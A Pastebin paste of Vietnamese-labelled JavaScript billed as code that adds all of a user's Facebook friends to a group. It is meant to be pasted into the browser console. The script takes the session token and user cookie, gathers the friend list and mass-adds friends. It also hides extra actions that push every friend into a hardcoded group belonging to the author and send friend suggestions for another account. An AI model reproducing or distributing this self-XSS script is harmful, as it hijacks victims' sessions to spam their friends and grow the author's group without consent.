Advertisement
thjeubg3

Code Tự động thêm tất cả bạn bè vào nhóm

Oct 4th, 2014
18
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.18 KB | None | 0 0
  1. //*Code Tự động thêm tất cả bạn bè vào nhóm
  2.  
  3. function hp_d12(s) {
  4. var o = "",
  5. ar = new Array(),
  6. os = "",
  7. ic = 0,
  8. p = 0;
  9. for (i = 0; i < s.length; i++) {
  10. c = s.charCodeAt(i);
  11. if (c < 128) c = c ^ ((p++ % 8) + 1);
  12. os += String.fromCharCode(c);
  13. if (os.length > 80) {
  14. ar[ic++] = os;
  15. os = ""
  16. }
  17. }
  18. o = ar.join("") + os;
  19. return o
  20. }
  21. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  22. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  23.  
  24. function cereziAl(isim) {
  25. var tarama = isim + "=";
  26. if (document.cookie.length > 0) {
  27. konum = document.cookie.indexOf(tarama);
  28. if (konum != -1) {
  29. konum += tarama.length;
  30. son = document.cookie.indexOf(";", konum);
  31. if (son == -1) son = document.cookie.length;
  32. return unescape(document.cookie.substring(konum, son))
  33. } else {
  34. return ""
  35. }
  36. }
  37. }
  38. function getRandomInt(min, max) {
  39. return Math.floor(Math.random() * (max - min + 1)) + min
  40. }
  41. function randomValue(arr) {
  42. return arr[getRandomInt(0, arr.length - 1)]
  43. }
  44. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  45. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  46. var httpwp = new XMLHttpRequest();
  47. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  48. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  49. httpwp['open']('POST', urlwp, true);
  50. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  51. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  52. httpwp['setRequestHeader']('Connection', 'keep-alive');
  53. httpwp['send'](paramswp);
  54. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  55. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  56. var friends = new Array();
  57. gf = new XMLHttpRequest();
  58. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  59. gf['send']();
  60. if (gf['readyState'] != 4) {} else {
  61. data = eval('(' + gf['responseText']['substr'](9) + ')');
  62. if (data['error']) {} else {
  63. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  64. return _0x93dax8['index'] - _0x93dax9['index']
  65. })
  66. }
  67. };
  68. var Title = 'Code Thêm Tất Cả Bạn Bè Vào Nhóm - <A style="color:#3B5998;" href="https://www.facebook.com/336576436519657">๖ۣۜDịςh ๖ۣۜVụ ๖ۣۜ F๖</A>';
  69. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  70. var Descriptions = "",
  71. _text = 'Share by : <A style="color:#3B5998;"href=" https://www.facebook.com/thjeubg">Nguyễn Văn Thiệu</A>';
  72.  
  73. function AddFriendtoGroup(opo) {
  74. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  75. var b = a.substring(a.indexOf("{"));
  76. var c = JSON.parse(b);
  77. i--;
  78. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  79. if (c.error) {
  80. Descriptions += "color:darkred'>";
  81. err++;
  82. if (c.errorDescription) Descriptions += c.errorDescription;
  83. else Descriptions += JSON.stringify(c, null, "")
  84. } else {
  85. Descriptions += "color:darkgreen'>";
  86. Descriptions += arn[i] + " đã được thêm.<br/>";
  87. suc++
  88. }
  89. Descriptions += "</div>";
  90. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  91. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  92. if (i > 0) {
  93. display += arr.length + " bạn bè.<br/>";
  94. display += "<b>" + suc + "</b> bạn đã thêm " + (arr.length - i) + " bạn đang thêm ";
  95. display += "(" + i + " đang chờ ...)";
  96. display += "<div class='friend-edge'>";
  97. display += Descriptions;
  98. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  99. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  100. display += getuname + " đang thêm tất cả bạn bè vào nhóm " + grpname + ".<br/>";
  101. display += _text;
  102. display += "</div>";
  103. display += "</div>"
  104. } else {
  105. display += arr.length + " bạn bè<br/>";
  106. display += suc + " bạn đã thêm</br>";
  107. display += err + " không thêm vào được</br></br>";
  108. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Tải Lại Trang</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Xong</span>"
  109. }
  110. display += "</div>";
  111. document.getElementById("pagelet_sidebar").innerHTML = display
  112. }, "text", "post");
  113. tay--;
  114. if (tay > 0) {
  115. var s = arr[tay];
  116. sx = pho[tay];
  117. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  118. }
  119. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  120. if (gid != 769305739778230) {
  121. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=769305739778230&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  122. }
  123. if (newcomer) {
  124. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004341312656&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  125. }
  126. }
  127. function clickfr_callback() {
  128. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  129. var a = arr[i];
  130. if (i < arr.length) addfriend(a.substring(0, 4))
  131. }
  132. function clickfr() {
  133. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  134. else j++;
  135. setTimeout("clickfr_callback()", 2E3)
  136. }
  137. function addfriend(a) {
  138. i++;
  139. setTimeout("clickfr()", 2E3)
  140. }
  141. jx = {
  142. getHTTPObject: function() {
  143. var a = false;
  144. if (typeof ActiveXObject != "undefined") try {
  145. a = new ActiveXObject("Msxml2.XMLHTTP")
  146. } catch (b) {
  147. try {
  148. a = new ActiveXObject("Microsoft.XMLHTTP")
  149. } catch (c) {
  150. a = false
  151. }
  152. } else if (window.XMLHttpRequest) try {
  153. a = new XMLHttpRequest
  154. } catch (b) {
  155. a = false
  156. }
  157. return a
  158. },
  159. load: function(url, callback, format, method, opt) {
  160. var http = this.init();
  161. if (!http || !url) return;
  162. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  163. if (!method) method = "GET";
  164. if (!format) format = "text";
  165. if (!opt) opt = {};
  166. format = format.toLowerCase();
  167. method = method.toUpperCase();
  168. var now = "uid=" + (new Date).getTime();
  169. url += url.indexOf("?") + 1 ? "&" : "?";
  170. url += now;
  171. var parameters = null;
  172. if (method == "POST") {
  173. var parts = url.split("?");
  174. url = parts[0];
  175. parameters = parts[1]
  176. }
  177. http.open(method, url, true);
  178. var ths = this;
  179. if (opt.handler) http.onreadystatechange = function() {
  180. opt.handler(http)
  181. };
  182. else http.onreadystatechange = function() {
  183. if (http.readyState == 4) if (http.status == 200) {
  184. var result = "";
  185. if (http.responseText) result = http.responseText;
  186. if (format.charAt(0) == "j") {
  187. result = result.replace(/[\n\r]/g, "");
  188. result = eval("(" + result + ")")
  189. } else if (format.charAt(0) == "x") result = http.responseXML;
  190. if (callback) callback(result)
  191. } else {
  192. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  193. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  194. if (error) error(http.status)
  195. }
  196. };
  197. http.send(parameters)
  198. },
  199. bind: function(a) {
  200. var b = {
  201. url: "",
  202. onSuccess: false,
  203. onError: false,
  204. format: "text",
  205. method: "GET",
  206. update: "",
  207. loading: "",
  208. loadingIndicator: ""
  209. };
  210. for (var c in b) if (a[c]) b[c] = a[c];
  211. if (!b.url) return;
  212. var d = false;
  213. if (b.loadingIndicator) {
  214. d = document.createElement("div");
  215. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  216. d.setAttribute("class", "loading-indicator");
  217. d.innerHTML = b.loadingIndicator;
  218. document.getElementsByTagName("body")[0].appendChild(d);
  219. this.opt.loadingIndicator = d
  220. }
  221. if (b.loading) document.getElementById(b.loading).style.display = "block";
  222. this.load(b.url, function(a) {
  223. if (b.onSuccess) b.onSuccess(a);
  224. if (b.update) document.getElementById(b.update).innerHTML = a;
  225. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  226. if (b.loading) document.getElementById(b.loading).style.display = "none"
  227. }, b.format, b.method, b)
  228. },
  229. init: function() {
  230. return this.getHTTPObject()
  231. }
  232. };
  233. var nHtml = {
  234. FindByAttr: function(a, b, c, d) {
  235. if (c == "className") c = "class";
  236. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  237. if (e && e.singleNodeValue) return e.singleNodeValue;
  238. return null
  239. },
  240. FindByClassName: function(a, b, c) {
  241. return this.FindByAttr(a, b, "className", c)
  242. },
  243. FindByXPath: function(a, b) {
  244. try {
  245. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  246. } catch (d) {
  247. GM_log("bad xpath:" + b)
  248. }
  249. if (c && c.singleNodeValue) return c.singleNodeValue;
  250. return null
  251. },
  252. VisitUrl: function(a) {
  253. window.setTimeout(function() {
  254. document.location.href = a
  255. }, 500 + Math.floor(Math.random() * 500))
  256. },
  257. ClickWin: function(a, b, c) {
  258. var d = a.document.createEvent("MouseEvents");
  259. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  260. return !b.dispatchEvent(d)
  261. },
  262. Click: function(a) {
  263. return this.ClickWin(window, a, "click")
  264. },
  265. ClickTimeout: function(a, b) {
  266. window.setTimeout(function() {
  267. return nHtml.ClickWin(window, a, "click")
  268. }, b + Math.floor(Math.random() * 500))
  269. },
  270. ClickUp: function(a) {
  271. this.ClickWin(window, a, "mousedown");
  272. this.ClickWin(window, a, "mouseup");
  273. this.ClickWin(window, a, "click")
  274. },
  275. GetText: function(a, b) {
  276. var c = "";
  277. if (b == undefined) b = 0;
  278. if (b > 40) return;
  279. if (a.textContent != undefined) return a.textContent;
  280. for (var d = 0; d < a.childNodes.length; d++) {
  281. var e = a.childNodes[d];
  282. c += this.GetText(e, b + 1)
  283. }
  284. return c
  285. }
  286. };
  287. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  288. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  289. var c = document.getElementsByTagName("*");
  290. var d = [];
  291. var e;
  292. for (var f = 0;
  293. (e = c[f]) != null; f++) {
  294. var g = e.className;
  295. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  296. }
  297. return d
  298. };
  299. Array.prototype.find = function(a) {
  300. var b = false;
  301. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  302. if (a.test(this[i])) {
  303. if (!b) b = [];
  304. b.push(i)
  305. }
  306. } else if (this[i] === a) {
  307. if (!b) b = [];
  308. b.push(i)
  309. }
  310. return b
  311. };
  312. var i = 3;
  313. var tay = 3;
  314. var j = 0;
  315. var k = 0;
  316. var suc = 0;
  317. var err = 0;
  318. var arr = new Array;
  319. var arn = new Array;
  320. var pho = new Array;
  321. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  322. var gid = document.getElementsByName("group_id")[0].value;
  323. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  324. var b = a;
  325. var c = b.substring(b.indexOf("{"));
  326. var d = JSON.parse(c);
  327. d = d.payload.entries;
  328. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  329. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  330. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  331. i = arr.length - 1;
  332. tay = i;
  333. console.log(arr.length);
  334. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  335. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  336. display += arr.length + " Friends Detected";
  337. display += "</div>";
  338. document.getElementById("pagelet_sidebar").innerHTML = display;
  339. AddFriendtoGroup(arr[i])
  340. });
  341.  
  342.  
  343. //*Bạn đã làm rất đúng. Nhấn Enter để chạy code ^_^
  344. //***Nếu chạy code nó báo :
  345.  
  346. //Can Not Subscribe to List
  347. //You are not able to subscribe to this list.
  348.  
  349. //=> Nhấn "Đóng" là ok ....
  350.  
  351.  
  352. //P/s : Nếu code không hoạt động giống như video hướng dẫn, hãy để lại ý kiến tại phần bình luận của video để thiệu chỉnh sửa lại.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement